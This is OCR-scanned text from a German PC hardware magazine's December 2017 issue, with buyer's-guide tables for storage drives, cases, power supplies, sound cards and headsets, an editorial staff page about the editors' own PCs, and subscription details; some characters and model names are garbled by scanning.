Samsung SSD 850 Pro Ca.€430,- |954GiB/1.024GB | 528/502 MB/s 90.000 73 Sekunden 10 Jahre 1,74 08/2015 | www.pcgh.de/preis/1136105 
Samsung SSD 850 Evo Ca. € 1.350,- | 3.726 GiB/4.000 GB | 520/502 MB/s 90.000 65 Sekunden | 5 Jahre 1,79 11/2016 | www.pcgh.de/preis/1427527 
Toshiba 0300 Pro Са. € 400,- | 954 GiB/1.024 GB 519/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,89 05/2017 | www.pcgh.de/preis/1424648 
OCZ VX500 Ca. € 420,- | 954 GiB/1.024 GB | 520/490 MB/s 50.000 69 Sekunden | 5 Jahre 1,91 05/2017 | www.pcgh.de/preis/1507141 
Mushkin Reactor Са. Є 270,- |932 GiB/1.000 GB | 514/435 MB/s 68.000 74 Sekunden | 3 Jahre 2,03 | 07/2016 | www.pcgh.de/preis/1202066 
Crucial MX300 Ca. € 515,- 1.910 GiB/2.048 GB | 494/490 MB/s 61.000 84 Sekunden | 3 Jahre 2,09 11/2016 | www.pcgh.de/preis/1507986 
Corsair Neutron Xti Ca. € 375,- | 932 GiB/960 GB GB | 528/466 MB/s 78.000 85 Sekunden | 5 Jahre 2,05 05/2017 | www.pcgh.de/preis/1469016 
0CZ Vector 180 Са. € 400,- | 894 GiB/960 GB 513/488 MB/s 81.000 89 Sekunden | 5 Jahre 2,15 | 08/2015 | www.pcgh.de/preis/1230950 
Crucial BX100 N. verfügbar | 932 GiB/1.000 GB 528/434 MB/s 70.000 76 Sekunden | 3 Jahre 2,24 | 08/2015 | www.pcgh.de/preis/1215186 


* L/S: Lesen und Schreiben | ** 4k- 


Random-Write-Operationen pro Sekunde 


Solid State Drives (M.2/PCle 3.0 x4) 


Bis 512 Gigabyte Preis Kapazitát bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Toshiba ОС7 RD400 Ca.€215- |477 GiB/512 GB 1.996/947 MB/s 126.000 43 Sekunden | 5 Jahre 1,84 11/2016 | www.pcgh.de/preis/1448318 (E TTE 
Corsair MP500 Ca.€240,- | 447 GiB/480 GB 2.399/1.322 MB/s 87.000 49 Sekunden | 3 Jahre 1,84 05/2017 | www.pcgh.de/preis/1552578 

PNY CS2030 Са. Є 135,- | 238 GiB/240 GB 2.436/1.231 MB/s 68.000 52 Sekunden | 3 Jahre 1,94 | 05/2017 | www.pcgh.de/preis/1571194 (Tr Tiri 
Zotac Sonix Ca.€310,- |477 GiB/512 GB 2.250/1.330 MB/s 95.000 56 Sekunden | 3 Jahre 2,04 11/2016 | www.pcgh.de/preis/1406123 

Kingston Hyper X Predator Ca.€330,- | 447 GiB/480 GB 1.340/890 MB/s 117.000 61 Sekunden | 3 Jahre 2,47 12/2015 | www.pcgh.de/preis/1247224 

Adata 5Х8000 Ca.€215- | 447 GiB/512 GB 1.112/1.110 MB/s 41.000 69 Sekunden | 5 Jahre 2,68 | 05/2017 | www.pcgh.de/preis/1532201 

Intel SSD 600p Са. € 160,- | 477 GiB/512 GB 1.196/551 MB/s 33.000 61 Sekunden | 5 Jahre 2,83 | 05/2017 | www.pcgh.de/preis/1491162 

Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 

Samsung SSD 960 Pro Са. € 520,- | 954 GiB/1.024 GB | 2.516/2.180 MB/s 245.000 41 Sekunden | 5 Jahre 1,65 12/2016 | www.pcgh.de/preis/1511187 

Samsung SSD 960 Evo Са. Є 425,- | 954 GiB/1.024 GB | 2.467/2.007 MB/s 144.000 47 Sekunden | 3 Jahre 1,79 | 02/2017 | www.pcgh.de/preis/1511201 
Intel SSD 750 Ca. € 880,- | 1.118 GiB/1.200 GB | 2.353/1.306 MB/s 247.000 48 Sekunden | 5 Jahre 2,03 | 08/2015 | www.pcgh.de/preis/1227662 


* L/S: Lesen und Schreiben | ** 4k- 


Festplatten (3,5 Zoll) 


Random-Write-Operationen pro Sekunde 


Ab 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Seagate Ironwolf NAS HDD Ca. € 330,- | 9.313 GiB/10.000 GB | 7.200 0,6/1,1 Sone 14,8/7,23 ms 188/186 MB/s 1,71 06/2017 | www.pcgh.de/preis/1479598 ФТ 
Toshiba N300 Ca. € 195,- | 5.586 GiB/6.000 GB | 7.200 1,1/1,6 Sone 12,0/13,4 ms 167/163 MB/s 1,90 06/2017 | www.pcgh.de/preis/1562775 

Seagate Archive HDD 8TB Ca. € 205,- | 7.452 GiB/8.000 GB | 5.900 0,5/0,6 Sone 13,5/14,0 ms 143/136 MB/s 2,23 08/2015 | www.pcgh.de/preis/1204027 

Altes Testsystem 

Bis 3.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Toshiba DTO1ACA300 Са. € 70,- | 2.794 GiB/3.000 GB | 7.200 0,3/0,6 Sone 15,2/15,4 ms* 154/153 MB/s 1,90 01/2013 | www.pcgh.de/preis/833757 ТҮР 
Western Digital Red WD30EFRX Ca. € 100,- | 2.794 GiB/3.000 GB | 5.400 0,2/0,3 Sone 19,9/21,0 ms* 112/112 MB/s 2,22 01/2013 | www.pcgh.de/preis/807343 

Bis 5.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in PCGH-Preisvergleich 

Western Digital Black WD4003FZEX Ca. € 270,- | 3.726 GiB/4.000 GB | 7.200 0,5/0,9 Sone 12,5/12,9 ms 145/146 MB/s 1,98 02/2014 | www.pcgh.de/preis/1010394 

HGST Deskstar HDS724040ALE640 N. verfügb. | 3.726 GiB/4.000 GB | 7.200 0,5/0,6 Sone 16,3/14,8 ms* 131/135 MB/s 1,98 02/2014 | www.pcgh.de/preis/682487 

Western Digital Red WD40EFRX Ca. € 130,- | 3.726 GiB/4.000 GB | 5.400 0,4/0,5 Sone 16,6/18,5 ms 119/109 MB/s 2,06 02/2014 | www.pcgh.de/preis/992027 

Ab 6.000 Gigabyte Preis Kapazität bin./dez. U/min | Lautheit Leerl./Zugr. | Zugriffszeit L/S** | Transfer L/S** Test in 

Seagate Enterprise Capacity 6TB N. verfügb. | 5.589 GiB/6.000 GB | 7.200 | 0,6/0,9 Sone 12,5/4,3 ms* 167/167 MB/s 1,72 11/2014 | www.pcgh.de/preis/1148556 

HGST Ultrastar He6 6TB Ca. € 380,- | 5.589 GiB/6.000 GB | 7.200 0,1/1,6 Sone 12,6/5,8 ms 143/143 MB/s 1,80 11/2014 | www.pcgh.de/preis/1049476 

Western Digital Red WD60EFRX Ca. € 205,- | 5.589 GiB/6.000 GB | K.A. 0,3/0,4 Sone 15,8/18 ms* 127/127 MB/s 2,05 11/2014 | www.pcgh.de/preis/1143813 


* Advanced-Format/4K-Sektoren | ** L/S: Lesen und Schreiben 
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Einkaufsführer | SERVICE 


Einkaufsführer Gehäuse, Netzteile & Sound „оо 


CENT RT PREIS-LEISTUNGS-TIPP LEID ER SPAR-TIPP 


Midi-Gehäuse GN Preis Lüfterplätze Enthaltene Lüfter Butt eiüfrontal] ны о. ШААП" Test in PCGH-Preisvergleich 
Sher schräg (12 visv) Innenraum***) 
Be quiet Dark Base 900 Pro | Midi-Tower | Ca. € 230,- | 9 x 140, 2 x 120 mm 3 x 140 mm 1,0/0,8 Sone*** 65/69/37 °C 1,58*** | 11/2017 | www.pcgh.de/preis/1680701 
Aerocool XPredator II Big-Tower | Ca. € 150,- | 6 x 140 mm 5 x 140 mm 3,5/3,6; 2,4/2,5 Sone | 70/67/32 °C** 1,70 09/2016 | www.pcgh.de/preis/1435421 
EVGA DG-87 Big-Tower | Ca. € 250,- 8x 140 mm 6x 140 mm 1,7/1,7 Sone*** 62/69/35 °C 1,78*** | 11/2017 | www.pcgh.de/preis/1479937 
TI T Sharkoon BW9000-W Midi-Tower | Ca. € 75,- | 4х 140 mm, 1 x 120 mm 2 x 140,1 x 120 mm | 2,2/2,3; 1,8/2,0 Sone | 67/73/37 °С** 1,84 09/2016 | www.pcgh.de/preis/1354897 
Enermax Thormax Giant Big-Tower | Ca. € 135,- | 3 x 200 mm, 1 x 140 mm, 2 x 120 mm | 2 x 180, 1 x 120 mm | 3,8/3,9; 2,8/2,9 Sone | 71/81/31 °С“ 1,84 04/2015 | www.pcgh.de/preis/1189301 
Anidees AI Crystal Midi-Tower | Ca. € 145,- | 6 x 140 mm 4 x 140 mm 3,2/3,3; 2,1/2,2 Sone | 73/69/34 °C** 1,85 09/2016 | www.pcgh.de/preis/1475276 
IT Be Quiet Silent Base 800 Midi-Tower | Ca. € 110,- | 5 x 140/120 mm, 2 x 120 mm 3x 120 mm 2,7/2,6; 2,3/2,3 Sone | 79/82/32 °C* 1,90 02/2015 | www.pcgh.de/preis/1155576 
Corsair Carbide 600C Midi-Tower | Са. € 115,- | 4 x 140 mm, 1 х 120 mm 2 x 140, 1 x 120 mm | 2,9/3,0; 2,1/2,2 Sone | 71/89/41 ?C* 1,91 03/2016 | www.pcgh.de/preis/1368613 
Thermaltake Suppressor F51 | Midi-Tower | Ca. € 95,- | 3 x 200 mm, 2 x 140 mm, 2 x 120 mm | 200 mm, 120 mm 2,6/2,8; 2,2/2,6 Sone | 80/87/35 °C* 1,94 10/2015 | www.pcgh.de/preis/1273311 
Enermax Ostrog ADV Big-Tower | Са. € 110,- | 4 x 140/1 x 120 mm 2 x 140, 1 x 120 mm | 4,7/4,4; 2,2/0,0 Sone | 69/67/30 °С** 1,94 09/2016 | www.pcgh.de/preis/1462226 
CM Mastercase Maker 5 Midi-Tower | Ca. € 170,- | 6 x 140/2 x 120 mm 3x 140 1,2/1,2 Sone*** 66/69/39 °C 1,95*** | 11/2017 | www.pcgh.de/preis/1415977 
Fractal Design Define R5 Midi-Tower | Ca. € 100,- | 9 x 140/120 mm 2 x 140 mm 2,5/2,7; 2,4/2,6 Sone | 85/89/32 °С* 1,97 02/2015 | www.pcgh.de/preis/1200732 
Bitfenix Shogun Midi-Tower | Ca. € 140,- | 5 x 140 mm oder 7 x 120 mm 3 x 120 mm 1,7/1,8 Sone*** 66/69/48 °C 2,18*** | 02/2017 | www.pcgh.de/preis/1548958 
In Win 509 Big-Tower | Ca. € 170,- 2 x 140 mm, 9 x 120 mm Keine 1,5/1,5 Sone*** 65/70/31 °C 2,20*** | 11/2017 | www.pcgh.de/preis/1507129 
Thermaltake View 71 TG Ed. | Big-Tower | Ca. € 170,- | 6 x 140 mm, 2 x 120 mm 2 x 140 mm 1,8/1,8 Sone*** 69/68/29 °C 2,25*** | 11/2017 | www.pcgh.de/preis/1674631 
* System: Core 17-920, Stromsparmodi aus, Radeon R9 290(X) @ 55/50 % Lüfterdrehzahl, 3 x 2.048 MiByte DDR3-1280-RAM, Deep Cool Ice Matrix 400 12 Volt (1.600 U/min), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 
** System: Intel Core 17-4790; Intel 787, Asus Geforce GTX 970 Direct Cu Mini (50 % Lüfterdrehzahl), 2 x 4.048 MiByte DDR3-1600-RAM, Thermalright AXP-100 (Lüftersteuerung: Standard), Seasonic Platinum Fanless 550 Watt (ATX), Umgebungstemperatur: 24 °C 


*** Neues Test-/Wertungssystem (siehe PCGH 02/2017)/Lüfterbestückung: 3 x 140 mm (Be quiet Silent Wings 2) 


400 bis 600 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Be quiet Dark Power Pro 11 550W | Ca. € 130,- | 4 x 6+2-Pin, 1 x 6-Pin (70 cm) 540 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/92 % 1,37 09/2016 | www.pcgh.de/preis/1318886 
Seasonic Platinum Fanless 520 Са. Є 140- | 2 x 6+2-Pin (60 cm) 516 Wa 0,1/0,1/0,1/0,1/0,1 Sone | 88/92/94/93/93 % 1,38 09/2016 | www.pcgh.de/preis/874992 
ТТ ТУ Cooler Master V550 Ca.€90- |2 х 6+2-Ріп (50 cm) 540 Wa 0,1/0,1/0,1/0,3/0,4 Sone | 90/93/92/91/89 % 1,54 09/2016 | www.pcgh.de/preis/1325567 
Bitfenix Whisper M Ca.€85- | 4 x 6+2-Pin (68 cm) 550 Wa 0,1/0,1/0,1/0,1/0,5 Sone | 88/92/93/92/91 % 1,54 07/2017 | www.pcgh.de/Fluesterleise 
XFX TS 550 Gold Ca. € 65,- 1 x 6+2-Pin (60 cm) 546 Wa 0,1/0,1/0,1/2,3/2,4 Sone | 84/89/92/91/90 % 1,99 09/2016 | www.pcgh.de/preis/1076839 
Cougar GX-S 550 Са. €70,- | 2 х 6+2-Pin (60-70 cm) 550 Wa 0,3/0,3/0,3/0,3/2,6 Sone | 85/90/92/91/90 96 2,06 07/2017 | www.pcgh.de/silberloewe 
600 bis 800 Watt Preis PCI-E-Anschlüsse (Kabellánge) Leistung +12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Seasonic Prime Titanium 650W Са. € 150,- | 4 x 6+2-Pin (74 cm) 648 Wa 0,1/0,1/0,4/0,4/0,4 Sone | 92/94/95/95/94 % 1,34 11/2016 | www.pcgh.de/preis/1468799 
Seasonic Platinum 760W Ca. € 160,- | 4 x 6+2-Pin (59 cm) 760 Wa 0,1/0,1/0,1/0,6/1,5 Sone | 89/92/93/-/92 % 1,50 02/2015 | www.pcgh.de/preis/874979 
Be quiet Straight Pow. 10 700W CM | Ca. € 120,- | 4 x 6+2-Pin (59 cm) 700 Wa 0,2/0,2/0,2/0,8/1,2 Sone | 85/90/92/-/90 % 1,67 02/2015 | www.pcgh.de/preis/1165610 
Über 800 Watt Preis PCI-E-Anschlüsse (Kabellänge) Leistung -12 V | Lautheit* Effizienz* Wertung PCGH-Preisvergleich 
Corsair HX1000i Ca. € 195- | 4 x 2 6+2-Pin (60, 74 cm) 1.000 Watt 0,1/0,1/0,1/0,6/1,1 Sone | 88/92/93/-/91 % 1,45 02/2015 | www.pcgh.de/preis/1145509 
Enermax Platimax 850W Ca. € 150,- | 4 x 6+2-Pin (50 cm) 840 Wat 0,1/0,1/0,1/0,6/2,1 Sone | 83/90/94/92/92 % 1,46 11/2011 | www.pcgh.de/preis/683488 
EVGA SuperNova G2 850W Са. € 140,- | 2 x 2 6+2-Pin (70, 85 cm), 2 x 6+2-P | 850 Watt 0,1/0,1/0,6/1,1/1,6 Sone | 85/90/92/-/89 % 1,85 02/2015 | www.pcgh.de/preis/1083961 


* Gemessen bei 10/20/50/80/100 Prozent Auslastung des Netzteils 


Soundkarten intern Preis Kanále/Abtastrate a See Ge e Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster ZxR Ca. 190,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 alja Gesockelte Op-Amps, Tischbox | 1,41 05/2015 | www.pcgh.de/preis/886468 
Asus Xonar Essence STX 2 7.1 | Ca. 220,- | Bis 7.1/24 Bit bei 192 KHz | PCM1794/124 dB a, TPA6120A2 a/nein Gesockelte Op-Amps 1,51 05/2015 | www.pcgh.de/preis/1085709 
Asus Xonar Phoebus Ca. 140,- | Bis 7.1/24 Bit bei 192 KHz | PCM1796/110 dB a, TPA6120A2 a/nein Gesockelte Op-Amps, Tischbox | 1,61 05/2015 | www.pcgh.de/preis/771017 
Soundkarten extern Preis Kanäle/Abtastrate ne a Pigs UR m Besonderheiten u. a. Wertung PCGH-Preisvergleich 
Creative Sound Blaster X7 Ca. 330,- | Bis 5.1/24 Bit bei 192 KHz | PCM1794/127 dB a, TPA6120A2 айа Ges. Op-Amps, Class-D-Verst. 1,31 01/2016 | www.pcgh.de/preis/1207054 
M Creative Sound Blaster Omni | Са. 60,- | Bis 5.1/24 Bit bei 96 KHz CS4361/100 dB a, MAX97220A аа Integriertes Mikrofon 2,18 05/2015 | www.pcgh.de/preis/1003999 
Asus Xonar U5 Ca. 60,- | Bis 5.1/24 Bit bei 192 KHz | CM9882A/104 dB a, TP56130A2 ein/nein Mikr.-Lautstárkeregl. am Gerät | 2,27 | 05/2015 | www.pcgh.de/preis/1150607 
Headsets Preis Anschlussart | Bauart Gewicht | Impedanz | Surround | Besonderheiten Test in 
Beyerdynamic MMX 300 — | Ca. 300,- | Klinke Geschlossen, ohrumschließend | 280 Gramm | 32 Ohm Nein Teile wechselbar, handgefertigt 1,49 | 03/2017 | www.pcgh.de/preis/1557567 
Steelseries Siberia 800 Ca. 250,- | Bluetooth Geschlossen, ohrumschließend | 320 Gramm | 38 Ohm Ja, virtuell | Station mit vielen Funktionen; Dolby 1,54 06/2016 | www.pcgh.de/preis/1335387 
Teufel Cage Ca. 170,- | USB, Klinke Geschlossen, ohrumschließend | 310 Gramm | 32 Ohm Ja, virtuell | Beidseitig tragbar, Software 1,73 07/2016 | www.pcgh.de/preis/1631481 
Asus ROG Centurion Ca. 200,- | USB, Klinke Geschlossen, ohrumschließend | 470 Gramm | 60 Ohm Ja, 5.1 Tischbox mit vielen Funktionen 1,81 03/2017 | www.pcgh.de/preis/1562870 
You T Sennheiser GSP 350 Ca. 110,- | USB, Klinke Geschlossen, ohrumschließend | 275 Gramm | 32 Ohm Ja, virtuell | Mikrofon-/Lautstärkeregler integriert 1,84 | 03/2017 | www.pcgh.de/preis/1543799 
Logitech G533 Wireless Ca. 100,- | Funk Geschlossen, ohrumschließend | 350 Gramm | 32 Ohm Ja, virtuell | Umfangreiche Software 1,89 | 06/2017 | www.pcgh.de/preis/1558931 
ШЕТУ Lioncast LX 50 Са. 50,- | Klinke Geschlossen, ohrumschließend | 260 Gramm | 50 Ohm Nein Kabelfernbedienung, extra Polster 1,94 03/2017 | www.pcgh.de/preis/1560427 


www.pcgameshardware.de 12/17 | PC Games Hardware 1 27 


SERVICE | Teamseite 


Die Redaktion 


EEN BAYER 
Chefredakteur EEN tb@pcgh.de | Aufgabengebiete: Heft, Website, alles 


TER 


RAFFAE 


er Redakteur | rv@pcgh.de | Fachbereiche: Heftplanung, Grafikkarten, GPU-Kühler, Spiele 


PC aktuell: Die Downloadgrößen mancher Spiele bringen mich zur Verzweif- 
lung. Mittelerde: Schatten des Krieges mit mindestens 100 GByte — da sitzt 
man selbst mit 50 MBit ein paar Stunden dran. 


Mein nächster Prozessor ... kommt von AMD oder Intel. :-) Im Ernst, dieses 
Jahr habe ich noch keinen Druck, vor allem weil Ryzen , 2" nicht mehr weit 
weg scheint und Intel die Coffee-Lake-CPUs nicht liefern kann. 


Privat-PC: Core i5-6600K, Kingston 16 GiB DDR4-2666 Fury Black, Asus 
2170 Pro Gaming, MSI GTX 970 Gaming 4G, Qnix QX 2710 (27 Zoll) 


ANDREAS LINK 


£ 


Leitender Redakteur Online | al@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Ich habe meinen Ex-Hauptrechner mit Core i7-5820K um fehlende 
Bauteile ergänzt, in ein fesches Silent Base 600 gepackt und zum Zweitrechner 
ernannt. Jetzt fehlt nur noch eine neue Grafikkarte. Am liebsten hätte ich eine 
Vega 64 LCE, doch Stephan möchte seine nicht verkaufen - Sie vielleicht? :-) 


Mein nächster Prozessor ... wird noch lange auf sich warten lassen, der 
Ryzen hat sich noch nicht amortisiert. Fragen Sie mich 2020 noch mal! 


Privat-PC: Ryzen 1700 @ 3,0 GHz (undervoltet), Asus Crosshair VI Hero, 16 
GiB DDR4-3200, Titan-X-ohne-p mit Arctic Hybrid III-140, LG DCI-AK-LCD (17:9) 


MARK MANTEL 
Redakteur | mm@pcgh.de | Fachbereich: Online-Auftritt (pcgh.de) 


PC aktuell: Bedenken wegen des Zweikerners im Notebook haben sich bisher 
nicht bewahrheitet. Der agiert durchweg taktstabil und kommt flink zum Ende. 


Mein nächster Prozessor ... wird noch auf sich warten lassen. Prinzipiell 
war ich ja am Core i7-8700K interessiert, aber die alte Plattform und das 
allgemein hohe Preisniveau am Markt haben dann zu einem Notebook geführt, 
mit dem ich im Moment auch mehr anfangen kann. Vielleicht mit einem 7390. 


Privat-PC: Asus UX310UA (grau, Intel Core i7-7500U mit HD Graphics 620, 
16 GiB DDR4-2133, 256 GiB M2-SSD, 13,3 Zoll FHD-IPS-LED-Display (matt)) 


MANUEL MEE E 


Redakteur MEE E mc@pcgh.de | Fachbereiche: Monitore, Massenspeicher, Notebooks 


PC aktuell: Die Grafikkarte hat die Grätsche gemacht und günstige , Stand- 
alone"-RX-Vega-Grafikkarten, geschweige denn Custom-Designs, gibt es nicht. 
Meh. 


Mein nächster Prozessor ... kommt wohl nächstes Jahr in den heimischen 
PC. Was es dann letztendlich wird — keine Ahnung. Spannend ist das CPU- 
Rennen zurzeit jedenfalls, zur Freude aller PC-Spieler. 


Privat-PC: Core i7-4790K, Asus Z97-A, Corsair 16 GiB DDR3-1600, Geforce 
GTX 1070 (bald eine RX Vega?), Sandisk Ultra Il 960 GB 


PHILIPP REUTHER 
Redakteur | pr@pcgh.de | Fachbereiche: Spiele, Sound 


PC aktuell: Ich versüße mir den Feierabend am Notebook mit Raiders of the 
Broken Planet, ein absolut gelungener Koop-Shooter! 


Mein nächster Prozessor ... steht immer noch nicht fest. Eigentlich fuhr ich 
bislang im Ryzen-Hypetrain mit. Aber eventuell steige ich doch am Kaffeesee 
aus. Ich will auf die ersten Preissenkungen warten und entscheide dann. Aber 
das habe ich auch schon gesagt, als der Ryzen 7 rauskam .. 


Privat-PC: Acer Aspire V Nitro Black Edition (VN7-592G-764X, Core i7- 
6700HQ, 8 GiB DDR4-2133, Sandisk X400 512 GB, GTX 960M) 


CARSTEN SPILLE 
Redakteur | cs@pcgh.de | Fachbereiche: Grafikkarten, Prozessoren 


£ 
za ad 


PC aktuell: Ich habe meinen Philips Fidelio X1 auf einen X2 , aufgerüstet"— 
bei unter 150 Euro konnte ich nicht widerstehen. Außerdem wurde meine 
Internetverbindung kostenlos von 100 auf 200 Mbps erhóht — sehr nett. 


Meinen náchsten Prozessor ... brauche ich aktuell noch nicht. Aber über 
kurz oder lang wird zumindest ein Achtkerner nachgerüstet. Nicht auszuschlie- 
Ben, dass es ein AMD werden kónnte — die Plattform muss ich eh wechseln. 


Privat-PC: 17-5820К @ 4,2 GHz, 32 GiB DDR4, 2x 960 + 4x 512 GB SSDs, 
1x WD 3 TB, GTX 980 © 1,4 GHz, SB ZxR, Asus STX II, 27-Zoll-Freesync-LCD 


FRANK STÓWER 
Redakteur | fs@pcgh.de | Fachbereiche: Spiele, Eingabegeráte, Mauspads und G 


eháuse 


PC aktuell: Es gab keine hardwareseitigen Änderungen. Neben Hellblade 
тоске ich derzeit das uralte Party-RPG Dark Sun: Shattered Lands - geil. 


Mein nächster Prozessor ... liegt aus heutiger Sicht noch in weiter Ferne. 
Ich würde wohl zwischen acht günstigen AMD-Kernen mit 30 Prozent Taktpo- 
tenzial des R7-1700 und sechs kaum lieferbaren Intel-Cores im i7-8700K mit 
hóherer Ab-Werk-Leistung schwanken. Eine Entscheidung fiele mir da schwer. 


Privat-PC: Core i7-5775C (3,4 GHz/0,975v), RX Vega 56, 2x 8 GiB DDR3- 
1866, 128-GB-NVME-SSD, alles @1 1-Liter-Mini-ITX-Gehäuse, 24" -120-Hz-LCD 


PC aktuell: Als ich meinen Spiele-Mini nach 3 Monaten wieder angeschmissen 
habe, wollte der über 50 GiB Updates laden — und weg war das Datenvolumen. 


Mein nächster Prozessor ... kommt weder aus AMDs aktueller Ryzen- noch 
Intels Coffee-Lake-Generation. Das liegt nicht daran, dass ich kein Interesse 
hätte, auf einen R7-1800X oder Ci7-8700K aufzurüsten. Aber die Finanzlage 
gibt das nicht her und Assetto Corsa láuf mit dem FX-8350 absolut flüssig. 


Privat-PC: FX-8350 auf Asus Sabertooth 990FX, 16 GiB DDR3-1600-RAM, Asus 
Geforce GTX 1060 6GB Strix OC, 28-Zoll-UHD-LCD, Inwin 904 (Gehäuse) 


puma VOGEL 


Redakteur puma tv@pcgh.de | Fachbereiche: Kühlung (Luft und Wasser), Mainboards, VR-Hardware 


ALEXANDROS BIKOULIS 
Volontàr | ab@pcgh.de | Fachbereiche: Netzteile und Videos 


PC aktuell: Sunless Sea ist aus dem GoG-Pile-of-Shame auf die SSD gewan- 
dert und nach der frustrierenden Startphase feiere ich erste Erfolge. 


Mein nàchster Prozessor ... heiBt wider Erwarten nicht i7-8700K. Danke 
an Intel für die konsequente Verhinderung sinnvoller Z170-Aufrüstungen, 

da muss ich mir wenigstens keine Sorgen um den Kontostand machen. Eine 
komplett neue Plattform steht jedenfalls nicht vor 2020, eher 2022 an. 


Privat-PC: i7-6700K, Maximus VIII Ranger, 8 GiB DDR4-2133, Asus GTX 780 Ti 
@ 1.245/3.800 MHz; alles @ Wakü. 24-Zoll-IPS-WUXGA, Intel SSD 750 400 GB 


DANIEL WAADT 


£ 


Head of Affiliate & E-Commerce | dw@pcgh.de | Fachbereich: PCGH-Produkte, PCGH in Gefahr 


PC aktuell: Ich hab in meiner Wohnung ein Netzwerk eingerichtet, sodass 
mein Rechner nun das mediale Epizentrum ist. Am besten finde ich aber, dass 
ich alles per Knopfdruck von meinem Bett aus bedienen kann. 


Mein nächster Prozessor ... sollte eigentlich noch mal ein Sockel-1155-Mo- 
dell werden, aber nachdem ich die immer noch hohen Preise gesehen habe, ist 
eine Investition in AMDs Ryzen mit Kladderadatsch sinnvoller. #Zukunftssicher 


Privat-PC: Intel Core 15-3450, P8B75-MLX (uATX), 8 GiByte DDR-RAM, ХЕХ 
Radeon RX 470 RS Black Edition 


STEPHAN WILKE 
Community Content Commerce Manager | sw@pcgh.de | Fachbereiche: OC, RAM, PCGH-Extreme-Forum 


PC aktuell: Für Adobe Lightroom gibt es mit dem Loupedeck eine spezielle 
USB-Tastatur, die Bildbearbeitung deutlich angenehmer macht und daher jetzt 
zusätzlich auf meinem Schreibtisch steht. Anstatt per Maus die Schieberegler 
von links nach rechts zu verschieben, geht das jetzt mit diesem Mischpult. 


Mein nächster Prozessor ... wird noch längere Zeit auf sich warten lassen, 
da ich erst Anfang des Jahres mit einem Core i7-7700K aufgerüstet habe. 


Privat-PC: Core i7-7700K, 16 GiB DDRA, Asus 7170 Pro Gaming, Asus GTX 
1050 Ti Strix, Samsung 960 Pro 512-GB-SSD, Seasonic-PSU (lüfterlos) 
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PC aktuell: Eine RX Vega 64 LCE günstiger als eine GTX 1070? Da musste ich 
einfach zuschlagen. Die Karte durfte Raff dann gleich mal für den Index testen. 


Mein náchster Prozessor ... sollte schneller als der alte sein :) Das Paket 

aus OC-Potenzial sowie Pro-Kern- und Spiele-Leistung spricht für den kaum lie- 
ferbaren 8700K. Die Vorteile anderer CPUs wie mehr PCI-E-Lanes sehe ich eher 
als Beiwerk. Für Spiele nutze ich keine drei Grafikkarten oder fünf NVME-SSDs. 


Privat-PC: Core i7-5820K, Rampage V Extreme, 16 GiByte DDR4, GTX 780 Ti, 
850 Evo 1 TB, 2 x 4 TB HDD, Nupro A-300, EC1-A, K95 RGB, Р27Т-6 IPS 
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2:5 Geforce GTX 
epp 1070 Ti* 


Für diese Ausgabe war es zu knapp, kommenden Monat testen 
wir Nvidias neue Oberklasse-Grafikkarte jedoch auf Herz und 
Nieren — selbstverstándlich inklusive erster Herstellerdesigns. 


High Dyna- 
mic Range* 


Es tut sich etwas am HDR-Markt, 
Monitore und Spiele werden zahl- 


reicher. Unser Special hilft Ihnen bei 
der Orientierung. 


SFX-Netz- 
teile* 


Kompakte PCs benötigen kompakte 


Stromspender — wir verraten, wel- 
che Modelle ihr Geld wert sind. 


Weitere Themen (u. a.)* 


I Tests: Threadripper-Mainboards, USB-Soundkarten 
I Praxis: Einfluss der Radiatorgröße auf die Wasserkühlleistung 
I Info: Das Nanometer-Marketing, Xbox One X 


Vollversion 
Offworld Trading 
ветр Сотрапу 


Bp M PAN Y 


SAVE HUMANITY. TURNIN PROFIT PREFERABLY BOTH. 


Die nächste PCGH erscheint am 
6. Dezember 2017. Abonnenten 
bekommen das Heft in der 
Regel einen bis drei Tage früher. 


* Alle Angaben und Termine ohne Gewähr. Es kann aus Aktuali- 
tätsgründen zu außerplanmäßigen Änderungen kommen. 
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Österreich, Schweiz und weitere Länder: 


E-Mail: computec@dpv.de, Tel: --49-911-99399098, Fax: +49-1805-8618002 
Support: Montag 07:00-20:00 Uhr, Dienstag-Freitag 07:30-20:00 Uhr, Samstag 09:00-14:00 Uhr 


Abonnementpreis für 12 Ausgaben: Magazin € 48,00 (€ 56,00 Österreich, € 60,00 Ausland), 


DVD € 62,- (€ 70,00 Ósterreich, € 74,- Ausland) 


Einzelversand/Nachbestellung 


Online: www.pcgh.de/go/shop, E-Mail: computec@dpv.de, Tel.: 0911-99399098 , Fax: 01805-8618002* 
* (0,14 €/Min. aus dem dt. Festnetz, max. 0,42 €/Min. aus dem dt. Mobilfunk) 


ISSN/Vertriebskennzeichen PC Games Hardware: 1616-6922 / B 53384 


Vertrieb: DPV Deutscher Pressevertrieb GmbH, Am Sandtorkai 74, 20457 Hamburg, Internet: www.dpv.de 
Druck: LSC Communications Europe, ul. Obr. Modlina 11, 30-733 Krakau, Polen 


COMPUTEC MEDIA ist nicht verantwortlich für die inhaltliche Richtigkeit der Anzeigen und übernimmt keinerlei Verantwortung für in 
Anzeigen dargestellte Produkte und Dienstleistungen. Die Veröffentlichung von Anzeigen setzt nicht die Billigung der angebotenen 
